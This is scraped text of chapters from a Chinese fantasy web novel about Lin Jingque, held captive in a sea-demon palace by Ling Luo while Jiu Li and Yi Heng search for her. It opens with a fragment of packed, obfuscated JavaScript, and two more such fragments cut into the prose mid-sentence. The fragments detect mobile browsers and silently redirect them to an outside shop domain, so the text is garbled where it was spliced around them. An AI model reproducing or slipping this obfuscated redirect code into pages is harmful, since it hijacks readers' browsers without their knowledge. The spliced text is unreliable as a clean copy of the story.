l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712797|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温和笑意。身后侍女在他示意下鱼贯而入,顷刻间在桌上摆满了精致茶点。纵使林惊鹊胸中堵着闷气,也抵不住腹中作响,索性一言不发,坐下便吃。 待她放下筷子,绫落便凑近,嗓音温和:“昨晚睡得可好?” 林惊鹊盯着他那张笑脸,强忍着给他一拳的冲动,淡淡回了句:“挺好的。” “那便好,”绫落笑意更深,“今日天气不错,我们出去走走。” 林惊鹊的眉尾微不可查地抬了一下。出去?去哪?这牢笼之外吗?她昨夜才在这海妖宫里东奔西跑了好几个时辰,绫落这是在故意看她笑话? 她面色不断变幻,看得绫落轻笑出声,问道:“怎么了,不愿去?那我们……” “去!”林惊鹊赶紧打断他,起身便往外走。 绫落屏退一众侍女,跟着林惊鹊走出了那扇白玉大门。昨日那座令人绝望的轮回之城再度映在她眼中,琉璃楼宇依旧错综复杂,她也仍旧看不懂这城池是何种布局。 二人一前一后走了许久,期间无人言语。林惊鹊不停用余光扫过四周,她察觉到这城不再像昨日一般千变万化诡谲莫测,他们所走的每一条路居然都能通往新的方向。 这混蛋果然是故意的。林惊鹊攥紧了拳头。 她面色略有松动,胸中闷闷,不时吐出短促气息。绫落把一切看在眼里,他仍旧一副笑脸: “日子久了,八成你也忘了。海妖宫向来如此,进来的若一心只想着离开,那这辈子都没法踏出去一步。” “但倘若心中摒除杂念,那么海妖宫便任你穿行。小鹊,你可有想去的地方?” 哪有什么想去的地方。林惊鹊满肚子都是气,压根不想继续搭理他,视线漫不经心落向身侧,她突然感觉自己的呼吸停了一刻。 林惊鹊确定,绫落带她走的这一路,两旁建筑虽看似跟普通楼宇无异,实则各个都经不起细看。有些没门,有些没窗,还有的门开在中间,窗落在烟囱上。 她本以为是海妖喜好这类华而不实的建筑,可眼前不远处,分明有一座小楼,它座落在地面上,门窗端正,墙砖瓦片也没有胡乱飞起,正常得与周围的一切都格格不入。 林惊鹊心中升起一丝恍如在光怪陆离的噩梦中看见熟悉旧物的奇妙之感。 “你年幼时总要我带你出去玩,也没有特别的目的地,就像今日一般乱逛。” 绫落的声音再度响起,林惊鹊移开目光装作什么也没看见,她侧目望向他,在确定他没有跟自己看向同一个方向后,缓了一口气。 见她没有回应,绫落转头看向她。林惊鹊沉默片刻,她无法否认,绫落口口声声的过去,对她来说是最致命的吸引。 话语在口中酝酿了一会,她问:“我以前是什么样子?” 绫落垂下眸子,声音有些沙哑: “以前啊,你小小一个,粉妆玉琢,还没正殿门口的珊瑚丛高。你最喜欢做的事就是待在我身边,嘴里不停地念叨,哥哥,哥哥。” 一提及此事,绫落的眼中似是有最温柔的波光流转:“无论我在做什么,都必须把陪你玩放在第一位,否则你一定会想尽办法给我捣乱。你那时候好可爱,我一日都比前一日更期盼你长大会是什么样子。” “果不其然,你有好好地长大。比我期待的,更健康,更漂亮。” 林惊鹊听着他的讲述却觉得自己抽离出好远,那份眷恋怀念的眼神明明落在她身上,却好像在透过她望向别的什么。她一时间有些无法接受他那样温柔的眼神,慌乱在心底丛生,她赶忙低下头捏紧手上的戒指,硌得掌纹生疼。 “只可惜……” “可惜什么?”林惊鹊的嗓音有点颤。 绫落却不愿再说下去。他试图平复呼吸,胸腔却仍然止不住地剧烈起伏。林惊鹊注意到他此刻苍白的脸色,原来他也会露出如此脆弱的神情。 8. 第 8 章 阳光照耀之下,海面闪着宝石般的光泽。 毫无预兆的,一道巨大水花自海底爆破升腾,浪涛翻涌,卷起灰色浮沫一圈一圈荡漾,最终归于平静。 突如其来的响动惊动了岸边的妖兽,他们警觉地张望片刻,随即四散逃离。 不多时,海面再度掀起波涛骇浪,两道人影从水流中飞腾而起,海水散作雨滴淅淅沥沥打湿了岸边一片植被。 久离于岸边稳住身形,拂去脸侧水珠,回首同伊恒对视。 方才,他们施展避水诀潜入海中,却发现本该重兵把守的海妖宫此刻竟空无一人。昔日金碧辉煌的宫殿如今斑驳破败,墙壁上爬满了海草,那颗曾被誉为“海底明月”的夜明珠黯淡无光,摇摇欲坠地悬挂在殿顶。 海妖宫竟已荒废至此? “会不会是我们找错了地方?”伊恒以心声传音,面露疑惑。 “不可能。”久离斩钉截铁:“我曾来过这里,当年的海妖宫绝非这般模样。” “那现在这是……” “事有蹊跷,先上岸再说。” …… 伊恒回首望向仍在翻滚的海面,苍白的泡沫在墨色的海水中浮沉,深处的黑暗幽邃得令人心悸,仿佛多看一眼就会被吞噬。 “好端端的海妖宫,怎会破败成这样?”他轻叹道。 久离凝视着海面上不断旋转的漩涡,眉头紧锁。他已多年未闻海妖宫的消息,原以为当年夺走镇海冰晶后,海妖族只是元气大伤,如今看来,情况远比他想象的严重。 人去楼空?移群?废弃?还是说…… 一个可怕的念头在久离脑中一闪而过,他甩袖转身:“既然此处没有,那就下一处,他躲在暗处,就别怪我把所有海域都翻个底朝天。” 与此同时,海妖宫凉亭内。 林惊鹊独坐沉思,心烦意乱。 她回想起方才绫落带她出门时的情形,一路上她只顾着惊叹那些错综复杂的建筑,却忽略了更蹊跷的一点。 这偌大的海妖宫除了绫落和那群神出鬼没的侍女之外,竟再看不见其他任何人的身影。 无论怎么想,海妖宫都该是王公贵族的居所,可这里别说其他贵族了,就连个普通侍卫都不曾见到。 其他人去了哪里?是离开了,还是绫落背离了族群? 种种疑问萦绕心头,林惊鹊不自觉地蹙起眉头,直到绫落悄然靠近才回过神来。 “在想何事?”他声音温和,依旧带着那抹温和的笑意。 “……没什么。”她别开视线,心思却愈发沉重。 此前二人在殿门外时,他说了一半的那番话里定是另有隐情,“可惜”这个总是带来坏消息的转折词居然跟在“她自幼便粘着他”这种看似无关紧要的信息之后…… 林惊鹊的眉头压得更低,她只觉得脑中混乱不堪,像是有无数条胡乱游走的线,将她的脑袋紧紧缠绕到只剩桃仁般大小。 她痛苦地咬了一下指尖。 是发生了什么事,导致她无法再粘着他了吗? 她瞄了一眼坐在一旁,不厌其烦地帮她梳着发尾的绫落。 还是说二者本无关系,只是这家伙单纯想提罢了? 林惊鹊恼火咋舌。该死的,到底为什么她什么也想不起来?到底为什么她会失忆?到底为什么自称跟她有关系的人,接二连三地找上门来? 她以前究竟是做过什么才会遭遇这些? 林惊鹊觉得头疼。 她闭上眼,脑海中居然一闪而过,她刚到海边时看见的画面。 有个人站在她身前对她说:“跟我回家吧。” 是谁? 双眼闭得更紧,她极力调整精神,努力想要拨开蒙在那人脸上的迷雾。 她看见自己向对方伸出了一双稚嫩的手,视野很低,画面暗淡得像一张陈旧的黄纸。 “你怎么会独自在海边啊。” 那人的声音不太清晰,可林惊鹊还是听出来了,这嗓音同昨晚脑海中那个不让她去找绫落的,是同一人。 “你找不到回家的路的话,就跟我回家吧。” 脑海中的画面并不连贯,仿佛一张一张定格的图画,她尽力想要抬起头,却只看清一点点垂在他肩膀前,天青色的发丝。 “你问我叫什么名字?你还没告诉我呢。” 视野不断上抬,一双绿眸终于落进林惊鹊的眼中。 他道:“绫玉。” 林惊鹊喃喃:“绫……玉……” 她忽然听到身后传来剧烈的喘息声,林惊鹊回过身去,长发自绫落手中脱落,她看见绫落近乎惊恐的眼神。好像有那么一瞬,连那层覆盖在他水色眼眸上的浓雾也一并消散了。 莫名的,林惊鹊心中竟也升起一丝没有来由的慌乱,她看着绫落,那张略钝的脸上没什么表情,只是脸色好像比之前更加苍白,他嘴唇微张,好半天才问道:“……你从哪里知道这个名字的?” 林惊鹊抿住嘴唇。 绫落又问:“你从哪里知道这个名字的?!你想起来了?!” 声音较先前又高了几度,嗓音发颤,情绪无法消解。 他在等她的回答,可林惊鹊迟迟说不出话。周遭水声涌起扰乱听力,头脑中的画面仍在继续,她捂住脑袋,痛感如蛛网一般蔓延。 她看见自己伸出手同那个名叫绫玉的人交握,她看见自己跟在那人身侧一同潜入深海,她看见高耸紧闭的大门,可之后的画面断断续续,最终碎成满目雪花。 ……是绫落的亲人?她果真在很久以前就来过这个地方吗? 越思考,便愈加头痛欲裂,林惊鹊痛到蹲在地上,整个人几乎缩成一团。绫落终于收了那副失魂落魄的样子,扶着她的手询问: “要不要回去不休息?” 林惊鹊现在没有心情再考虑两人是否挨得太近,她好像看见有个侍女从屋外匆匆赶来,附在绫落耳边不知说了什么。 绫落低头对上她泛红的双眼,道:“没什么,有老鼠闯进了其他海域的宫殿,你无须担心,我会处理。” 老鼠。林惊鹊不用动脑子就知道他说的是久离和伊恒。可他说要处理,他要怎么处理? 思绪过电,带来又一波剧烈的头痛。林惊鹊痛得呼吸加重,她什么也不想管了,什么试探什么拉扯,此处实在太暗,林惊鹊觉得自己的呼吸都在冷却。 她抬手攀上绫落的手臂,问出了她最初最想问的那个问题: “……你能不能放我走?” 她仍旧发抖,痛感不断袭击着她。绫落的手松了一下,脸上的表情一瞬间全部消失,半点痛苦的痕迹都不曾留下。 他不回应,以沉默拒绝她的请求。 “你累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712798|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 周围太静,以至绫落声音响起时林惊鹊还以为自己听错了。她闭目蹲在地上,脑子里仿佛串线一般上演着此前经历的一切,她好像确实是累了。 “我不累。”她没睁眼。 她又听见绫落逐渐急促的喘息声,他应是在极力克制,半晌又叹了口气。 “你不会离开这里的,永远。” 他话音落下,有那么一刹那,包裹在海妖宫上层所有流动的水波、摇曳的光影都出现了极其短暂的凝滞,快得仿佛只是她的错觉。 —— 久离和伊恒仍在寻找其他海妖宫,两只妖一路上免不了到处打听,可遇到的妖要么在看到久离的瞬间便吓得四处逃窜,要么在听到问题时为之色变。 到头来,一个顶用的都没有。 “不应该吧,难道真的是你长得太凶了?”伊恒稍稍站远些,打量久离的相貌。 久离沉默,将一双银灰色眸子瞥向他:“你对我的长相有什么意见?” “哈哈不敢不敢。”伊恒连连摆手。 行路劳累,两只妖随便找了一处地方休息。久离正垂眸小憩时,伊恒发觉一只鹦鹉正往此处飞来。 他抬手接住鹦鹉送到久离眼前,淡黄羽毛的小鸟梳理两下翎羽后口出人言: “……一群笨蛋,帮信河找个妖竟然逼得月神殒命?!再怎么看不起人家好歹也是有神祇传承在身的,真是什么篓子都敢捅!此时我暂且看不出缘由,待你们二人来我住处再详谈吧,对了别忘了给我带最上等的——叽!!” 鹦鹉话没说完便被久离捏住后颈毛丢了出去,小鸟受到惊吓抖落了一地羽毛,拍着翅膀仓皇飞远。 久离:“还是一如既往地聒噪。” 伊恒:“……” 休息片刻后两只妖再度启程,他俩一路沿着海岸线行走,竟然再也没遇到任何一只妖怪。 “他们传消息的速度是不是有些太快了,再说我们只是问路又没说要动手。”伊恒无语。 久离觉得不太对劲。他没听伊恒说话,停下脚步俯身从沙地上捧起一些金色颗粒,又捻动指尖任由它们从指缝溜走。 “既然他们消息如此灵通,我怎么从未听说过海妖宫废弃之事?” 久离转头望向伊:“那可是海妖王的宫殿。” 伊恒恍然大悟:“有妖刻意封锁消息!” “你觉得是谁呢。” 伊恒脱口而出:“绫落!” 久离颔首:“除此以外,我想不到其他妖了。” “可不是还有绫玉吗?也可能是绫玉做的啊。” “我想,”久离压低眉头,嗓音也跟着沉了下去,“绫玉八成已经死了。” “没错,绫玉已经死了。” 久离话音刚落,一道苍老的声音便接了他的话茬。两只妖循着声音低头看去,一只老龟不知何时出现在久离脚边。它看上去年纪太大了,老得像被风一吹就散的灯灰。 迟疑仅持续了半秒,久离拽着伊恒瞬间撤了两三步远。 “谁?”久离语气中的敌意不加掩饰,他居然完全没注意到这只老龟是何时靠近的。藏匿气息到如此地步的高手,他还不曾见过。 老龟笑着咧开嘴露出满嘴稀疏的牙齿,干枯的手指抚过胡须,笑声如同生锈的车辙:“年纪轻轻的,戒心怎么这么强啊。” 9. 第 9 章 绫落把林惊鹊送回寝殿后便没再来过。 那夜安静得出奇,海面之下,蓝到发黑的海水包裹海妖宫,形成一片隔绝时间的死寂。 林惊鹊的头痛才轻了些许,便开始整理脑中纷乱的思绪。偌大的寝殿里翻不出半支能用的笔,她只能强迫自己用脑子梳理。 此前脑海中出现的“绫玉”八成是绫落的亲人,那段记忆不大可能凭空出现,没准正是被她所遗忘的某些瞬间。绫落对绫玉此人的反应也着实奇怪,光是提及名字便有如此不同寻常的反应,总觉得不是深仇便是大恨。 再者,这偌大宫殿内竟然再无其他海妖,怎么想都是极度反常。 “可他不是海妖之子吗?这么大的名头,住这么大的宫殿,明显就是王子啊,总不能是海妖族灭族了吧?” 林惊鹊这样想着又开始在房间乱翻,在确定真的找不到任何线索后,她推开了门。 海底幽深,林惊鹊见不着太阳也就没法分清眼下是什么时辰。偶尔有几束光透过海面,可更多时候,这下面跟黑夜一样又冷又暗。 林惊鹊觉得待在这里简直就是浪费时间。 她还记得先前绫落陪她出门散步时见到的那座小楼。它太寻常,以至于出现在此处反而太特殊。冥冥之中,林惊鹊总觉得,那里一定藏着什么。 她在脑子里不住念叨着,要去那栋小楼。出门后,错综复杂的路果真没有再缠着她,不多时,小楼的轮廓逐渐在眼前清晰。 她提起脚步匆匆赶去,走到近前才注意到楼前挂着一副镀金牌匾,只可惜上头的镀金字迹生锈破损,根本无法分辨。 这地方一看就很久没人来过了。牌匾的一角已经倾斜,隔扇门上木皮脱落,林惊鹊小心翼翼推开,吱呀声太过尖锐,简直就是在挑战她的耳膜。 她走进屋里轻轻一关门,积尘簌簌而落,呛得她咳嗽了半天才回过头望向里面。 屋里更是惨不忍睹,书橱几乎全部歪倒,破的破烂的烂,一架挨着一架相互倚靠才勉强固定住形状。书籍竹简掉了一地,厚厚的灰尘几乎将它们完全吞没。 原来此处竟是藏书阁。 “海妖是有多不喜欢读书啊。”林惊鹊抬手挥开空气中的灰尘,却又是无可避免地咳嗽了几声。她赶忙捂住口鼻,踱步到能落脚的地方弯腰查看。 老天助她,在她最想查到消息的时候,将一座装满资料的小楼送到她面前。 藏书阁里想必一定会有海妖族族谱或者是有关yao历史的书籍。林惊鹊随便摸了一本,皱着脸抖掉上面的灰尘,指尖捏在封皮边角翻开了书页。 想要阅读的心思却在她看到书中的第一个文字时受到了冲击。 她的呼吸逐渐加重,胸口跟着剧烈起伏。眼睛无法控制地向下阅读,手掌却抢先一步扣上了那本书。 书上的文字跟她所认知的全部文字都完全不同。 她完全确定自己以前从未接触过这种文字。 可每个字她都认识。 她虽然早已做好自己不是人类的觉悟,却还是难以置信地丢掉了手中的书又立刻摸了下一本。 下一本。 再下一本。 这几天以来发生的所有事都没有现在更加让她兴奋。不知不觉手边的书越堆越多,林惊鹊艰难从书堆抽身,抬起头来。 不得不承认,她之前一直对自己的猜想并不抱百分百的肯定,梦中人的言论她也没法全部相信。 可如今现实摆在这里。 “我真的是yao……?”林惊鹊几乎被冷汗湿透。 她紧盯着自己那双跟常人无异的手。她没法想象自己之前究竟经历过什么,为何失忆,为什么会出现在村子里,又怎么离开的妖怪族群。 林惊鹊平息了好半天都没办法让自己彻底冷静下来,耳边甚至传来一阵短暂的嗡鸣,她觉得脑中像是被谁塞进了一些冰块,发冷,且晕。 她叹了口气,晃晃脑袋安慰自己这或许也算好事。 起码她在获取信息这方面少了很大一层阻碍。 藏书阁乱七八糟什么类型的书都有,屋里本就杂乱,经过林惊鹊一番折腾更是连落脚的地方都没了。 起初她还嫌脏,到后面干脆直接跪在地上找。好在史书藏得并不深,她没费多大力气便找到了想找的书。 她拍掉书封上的灰尘,上面露出这本书的名字: 域外之境编年史。 原来这些妖怪的生存之地叫这个名字? 她对更早的历史没什么兴趣,手指比对目录一条一条往下看——她想找有关海妖族的历史,可是翻到目录最底层也没有特别具体的信息。 她有些困惑,直接把书翻到有内容的最后一页。 “……大鹗性残暴,好斗,近五百年间,其族类之数,岁岁递减,几至凋零。” 至此,林惊鹊才翻到这本书的一半。可后面竟然全部都是空白。 她有些难以置信,把书翻了好几遍才确信自己没有眼花。她颓然地把书丢到一边,怀中玉简却突然像苏醒了一般轻轻颤动。 林惊鹊纳闷。她伸手隔着身上衣料抚上玉简,它又瞬间没了动静。 心中暗叹奇怪,但林惊鹊也没做过多理会。她又继续翻找了几本史书,内容都大差不差,令她在意的是,这几本书的内容都在相同的年份戛然而止。 且后续都是空白。 林惊鹊百思不得其解,手上翻找的动作没停,一连丢开数十本书之后,她摸到了一个匣子。 它被压在两架交叠的书橱后面,若不是翻得够仔细,林惊鹊绝对发现不了它。 匣子很轻,林惊鹊一只手便能拿起来。匣子表面很光滑,跟屋里其他物件不同,没有划痕也没詹半点灰尘,其上没有锁也没有机关。 但打不开。 秘密。 林惊鹊断定这里头一定装了不可告人的秘密,强烈的好奇心驱使她对匣子使用了惨无人道的招数。 劈砍摔砸,都没用。 她累得有些暴躁,抬手敲在上面,蛇戒与之触碰,林惊鹊竟听见了咔哒一声。 她难以置信地再度尝试将其打开。 竟真的开了。 里面有两本书。 她先拿起了放在上面,没有书封也没有书题的那本。 翻开第一页,空白。 她又往后翻,仍是接二连三的空白。 不是吧,林惊鹊想,这藏书阁里空白书多的是,还需要特地锁起来这么麻烦? 她没话讲,直至书上的页面开始有了内容。 “域外历3176年,佞妖打破封印,附体于海妖王次子绫落。” “3248年,海妖王绫川卒,传位于长子绫玉。” 绫玉是海妖王?她继续往下翻,几页空白后,再度出现文字。 “3291年绫落苏醒。” “3295年,前狼族首领久离抢夺海妖族至宝镇海冰晶。” 心中疑惑越来越多,她再度往下翻,书却好似被她硬生生撕裂出一个伤口,暗红色的液体在新翻开的书页上蔓延浸透,竟缓缓组成几行血字。 “为何?” “为何我沉默,却仍是我的错?” 什么错?什么意思?林惊鹊继续往后翻,可后面再没有内容了。 于是她又往回翻,之前看过的内容下,竟出现了新的血字。 久离抢夺镇海冰晶下写着: “错便当真是我的错。你怎么忘了,你当年如何对待我。” 绫玉登基下写着: “无命享这天降福,死有余辜。” 绫落被佞妖附体下写着: “如果重来,我还会救她。但无妖告诉我,被附体的代价是兄弟反目。” 林惊鹊觉得浑身发热,心脏剧烈跳动,兴奋之意跃至头顶。她呼吸急促,继续往前翻,在一页空白里,几个大字凭空出现: “我的,都是我的。” “我从未争抢,换来你贪心至此。” “为何撒谎,为何懦弱?为何把错全推到我的头上?” 这些字格外猩红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712799|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落笔用力,纸被浸透了好几层。 这都是绫落写的?他对绫玉竟痛恨至此??可什么他的我的,林惊鹊的脑子飞速旋转,难道说——海妖王之位原本是绫落的吗? 只可惜再怎么翻也没有其他内容了,她将书放在一边,又拿起了另外一本。 这本小得多,仅有她半个手掌大,书题上写着:永恒手札。 没有作者署名,暗金色的书封倒是比其他的书都来得精致。 林惊鹊拿着书站起身走到隔扇门旁,远处纱灯光亮落下,照在书封上隐隐约约透出两条蛇形的暗纹。林惊鹊蹙起眉头,她抬手露出指头上的戒指——一条金蛇托起那枚翠绿中点金的宝石。 “这几条蛇怎么一摸一样……” 林惊鹊喃喃出口,怀中玉简像感应到了什么一样再次颤动,转瞬又没了动静。 怎么回事?这东西之前一直安安静静,到底是对什么产生了感应? 她再次抚上衣襟,垂眸时目光往下,正瞧见身前最近的书橱之下正藏着一块与众不同的砖块。 那是什么? 林惊鹊难免好奇,砖块被书橱压住大半,她费了好些力气才勉强将其推开。灰尘越飘越多,随着书橱倒在地上,它才彻底暴露出来。 砖块形状同地上的其他砖块有别,正圆形,上面雕花复杂,仔细分辨能看出是两只尾巴相互缠绕的鲛人。厚重的灰尘覆盖其上,林惊鹊伸手拂开,露出里头泛着莹润光泽的玉面。 她心中一惊,右手也跟着覆盖上去,想将全部灰尘拂去。 可刹那间,在手掌附上玉砖的瞬间,一阵强烈的波动自林惊鹊身下震荡而出。视线紧跟着剧烈摇晃,她险些站不稳,书橱跟着七倒八歪,一本本书噼里啪啦地掉在地上。 混乱中,她摔倒在地,手掌脱离玉砖,脚下莫名的震动也很快消失。林惊鹊爬出书堆,她望向那处散发荧光的玉砖,又看向那个匣子,随即低头看了看手掌。 她的视线紧紧锁在戒指之上,黄金光泽闪耀,绿宝石轻轻摇晃便闪出火彩。她抿了一下唇,将戒指从指头上脱了下来。 而后她小心翼翼地将戒指放在玉砖之上。 一秒,两秒。 林惊鹊的心提到嗓子眼。 下一秒,地动山摇。 藏书阁经不起连番的震动摇晃,屋里掀满灰尘,到处充斥吱呀声。房梁松动,隐隐有掉落的趋势。 林惊鹊赶紧捡走戒指重新戴好,她能确定,在刚才那场震动中,她听见了什么东西碎裂的声音。 林惊鹊的思考并未开始,门外却突然响起了熟悉的声音。 “当真知错了?人不见了,你知道要受什么罚。” 是绫落的声音。 林惊鹊暗自念叨了一句糟糕。方才只顾着那玉砖,完全忘了此举必然会引起他注意。此刻他清越的嗓音中盈满了愤怒,林惊鹊贴到门前透过门上的隔窗想看看外面的情况,却不料撞见了令她极其震惊的一幕。 绫落正死死掐着一名侍女的脖子,波光晃动在他毫无波澜的脸上,映照出一丝不易察觉的狰狞。他貌似用了很大的力,手背上的血管都鼓起,一直延伸进袖管。 然而侍女始终毕恭毕敬地站着,连一丁点挣扎都没有。 杀鸡儆猴?!他知道她在里面吧! 林惊鹊赶紧捂住嘴巴蹲下身,心脏在胸腔猛地震动了一瞬,疯子,这绝对是个疯子。 她又调整了半秒才继续探头去看。 绫落已然松了手,侍女直挺挺地往地上倒去,砸在地面时竟摔成一大摊透明的水珠。 这场死亡像是充满了配合。而配合的目的是什么,林惊鹊心知肚明。满溢而出的诡异让林惊鹊觉得胸口堵了一团气。 她想吐。 还是装作没看到好了。林惊鹊将身子埋下,本想小心翼翼地退开。 可绫落偏偏在此刻望向了她。 林惊鹊瞬间感觉汗毛倒竖,灵魂有那么一秒都被惊吓得脱出体外。她脑中在此时此刻升起一个念头: 逃跑吧。 10. 第 10 章 林惊鹊彻底被绫落关了起来。 她还记得绫落那张冷硬的脸,穿透藏书阁的隔扇门,望着她时连最初的微笑都懒得再展露。 林惊鹊无处躲藏,她寄希望于那块奇怪的玉砖,可她压根来不及再去触碰,绫落推开门,不由分说将她拽了出去。 绫落的手宛如钳子,无论林惊鹊如何挣扎也不肯放松分毫。 一路便回到这寝殿中来。 绫落一句话也没说,林惊鹊被他用力甩进屋内,踉跄着跪倒在地。寝殿内青铜烛台上冷焰森然,将林惊鹊的身影放大投射到紧闭的房门上。 她咬紧牙,站起身扑到门上,一道蓝光亮起,瞬间便将她弹了出去。 门外又响起绫落的声音:“我曾多次觉得,你永远都不属于也不该被困在深海。所以偶尔还会为把你囚困在此而感到悲伤。不过现在看来,完全是我想多了。他的观点是正确的,你就该被关起来。永远。” “谁?绫玉吗?你把话说清楚,你把我关起来算什么?!我没逃也没反抗过吧!你到底要我怎样!” “绫玉……兴许你们真的一丘之貉。他拿到王位,而你就此逃离。我曾经无数次劝说自己不要这样想,可我做不到。我曾那么努力,父王以我为荣,可一切都被他轻而易举拿走。林惊鹊,你很开心吗?” 林惊鹊完全听不懂,她不断砸门,可仍旧阻止不了外面的人越走越远。恍惚间,她好像看见自己眼前关上了一扇与寝殿相同的门,门外是“绫玉”的声音。 他说:“小鹊,求你了,永远不要出去。” 于是她便在门前呆立,无论她如何喊叫哭泣,也没再有人回应。 不知道过了多久,泛黄的画面里才再度有了响动,有人开了门,轻声询问: “要不要我带你出去玩?” 林惊鹊的脑袋又是一阵抽痛。 这声音太熟悉了。 就仿佛…… 年幼的绫落亲自站在她面前询问她一般。 头脑中的画面豁然开朗,焦黄色逐渐消退,光亮之中林惊鹊看清了那少男的脸。 水色长发因背光而泛起绒绒光亮,那双明亮的水色眼眸微微弯起,他对着林惊鹊伸出手,道:“去岸上,也可以。” —— “你们家主子到底去哪了,我要见他,他不能一直把我关在这里!” “一个个一声不吭你们话都不会说吗?!” 林惊鹊不知道时间究竟过了多久,可绫落从把她带回来以后就没再来过。房门不知被他下了什么咒术,别人都能进进出出,就她不行。 无可奈何,林惊鹊只能逮着来送饭的侍女喋喋不休,但对方从进门开始除了行礼之外就没再有过任何反应。 “你说话呀!”林惊鹊气不过,终于喊了出来。 在海妖宫这么多天,进过林惊鹊寝殿的侍女虽众多,但无一例外全都是鞠躬颔首,就像生怕那张脸被旁人瞧着似的。 她对她们的长相也没多大好奇,光是考虑存活问题就有她受的了。 可她记得那个被绫落掐死的侍女长什么样。 那张平静得像是早死了千百年的脸,昨夜还搅了她的清梦。 圆脸,白面,挑眉,吊梢眼,像她以往见过的每一幅水墨人像。 也像她眼前的这位。 林惊鹊吓了一跳,凉意从指尖蔓延全身,脚下一软竟向后倒去。瓷瓶碎裂的声音在这冷寂寝殿中太过突兀,她踉跄扶住雕花石台,一眨不眨地盯着身前举止规顺的侍女,生怕她做出什么奇怪的举动。 她明明记得自己看到了,绫落生生掐死了那位侍女。 她明明看见了呀,可面前这位又是怎么回事? 见林惊鹊没有动作,侍女低垂眉眼侧身行礼,拾起碎瓷残片悄然退去。徒留她一人留在原地凌乱。 那之后绫落许久都没有来,兴许是三五个时辰,也兴许是三五个日夜。 林惊鹊逐渐接受了现实,她掏出从藏书阁偷偷带出来的永恒手札,守着海底暗色勉强辨别书页上的字句。 “……世间纷乱动荡,妖兽受困于天地,永恒救妖兽于水火,仅一人之力开辟桃花源,竖结界挡灾祸。至此,妖兽生。” “为防止结界内再生动荡,永恒分神力于众生。日月星,海河湖泊皆有主宰,界内平安。” “佞妖作祟,永恒下界将其镇压。” “无人知晓永恒大人名讳为何,她所创之世界生生不息,恒远流长,后世称其为永恒。” 林惊鹊将书翻至最后一页,不由得啧啧称奇:“这域外之境的人到底是有多崇拜她,才会把这所有功绩都算在她头上。” 感叹之间,视线下移,一段小字出现在她视线之中。 是有人额外书写上去的,字迹稚嫩: “如今我身在深海,不能再见永恒大人一面。如若有天,上苍垂怜,叫我与永恒尊上重逢,我定倾其所有,辅佐在她左右。” 这是……?林惊鹊念出声,其中包含的深情叫她掉了一地的鸡皮疙瘩。 可这是不是说明,写这段字的人,曾见过这个永恒? 这人竟不是传说? 这么想着的时候,怀中那张玉简再次躁动,林惊鹊将它从怀中掏出,玉简晃动,片刻后又归于宁静。 —— 久离和伊恒再度回到了他俩最初找到的那处海妖宫。 避水决再次掐起,淡蓝色光影化作气泡状将他们包裹其中,飘飘悠悠融进海面。 海妖宫仍旧是先前那副破败样子,两只妖围在宫外仔细搜查,仍旧是一无所获。 “那老龟不会是骗我们吧?”伊恒对此抱怀疑态度。 “看看再说。” 久离径直向宫殿大门游去,水中使力不方便,他在腿上附了一层法术,随后一脚踹开了大门。 水流顺势像宫殿之内狂涌而去,气泡咕咕噜噜翻腾,透过浑浊狂乱的水流,久离看见一道身影坐在殿内最高处的王座。 绫落竟真的在这里。 他此刻正斜倚在王座上,低垂着头,神色自若地把玩着袖口,对久离和伊恒的出现毫不意外。 双方对视片刻后,他才轻笑开口: “恭候二位多时。” 久离手中那柄利刃已然出现,他提刀前指,讥讽之意不加掩饰:“如此东躲西藏,跟老鼠有什么区别。绫落,输过一次便这般畏首畏尾,你在怕什么?” 听闻此言,绫落也不恼,颔首微微笑出声:“重要之人应当好好对待。你们无需激怒我,我此番前来并不是为了斗个你死我活,而是想告诉你们。” 他话音一顿,缓步从王座台阶上走下:“小鹊很好,你们无需再寻,也寻不到。” 他将小鹊两个字咬得极重,久离分明从他那张脸上瞧见些许莫名其妙的炫耀。他没答话,刀刃在他手中转了个方向,身形已在下一瞬如鬼魅一般突进,那一剑快得出奇,剑尖撕开一道水痕,直刺绫落面门。 绫落脸上的从容瞬间冻结。他没料到久离的身法竟快到如此地步。 想躲避的动作已然来不及,噗的一声,利刃贯穿血肉的闷响在此刻竟异常清晰。剑尖在他化作水雾之前便刺穿了他的胸膛。巨大的冲击力带着绫落的身体向后猛然飞去,最终铛的一声,将他死死钉在了身后的巨大石柱上。 “你?!”绫落痛呼出声,脸上写满了难以置信。他低头看着没入自己胸前的剑刃,再抬眼看向眼前杀气凛然的久离,一张口,便喷出一股鲜血,在海水中弥漫开来。 绫落眼中的惊骇化为暴怒,他竟不顾剑刃锋利,徒手死死抓住了身前的剑身,掌心瞬间被割裂,鲜血淋漓:“……那混蛋对你用了什么……” “若论此地谁最似妖邪,”久离打断他,声音冰冷刺骨,手腕猛地发力,将剑刃又向石柱内推进了两分,剑柄几乎抵住绫落的胸口,“你绫落若称第二,再无妖物敢称第一。” 剧痛让绫落的面容扭曲,那双眼通红,他声嘶力竭,嘴角竟勾起一丝弧度:“那又如何,好过你低头摇尾!” 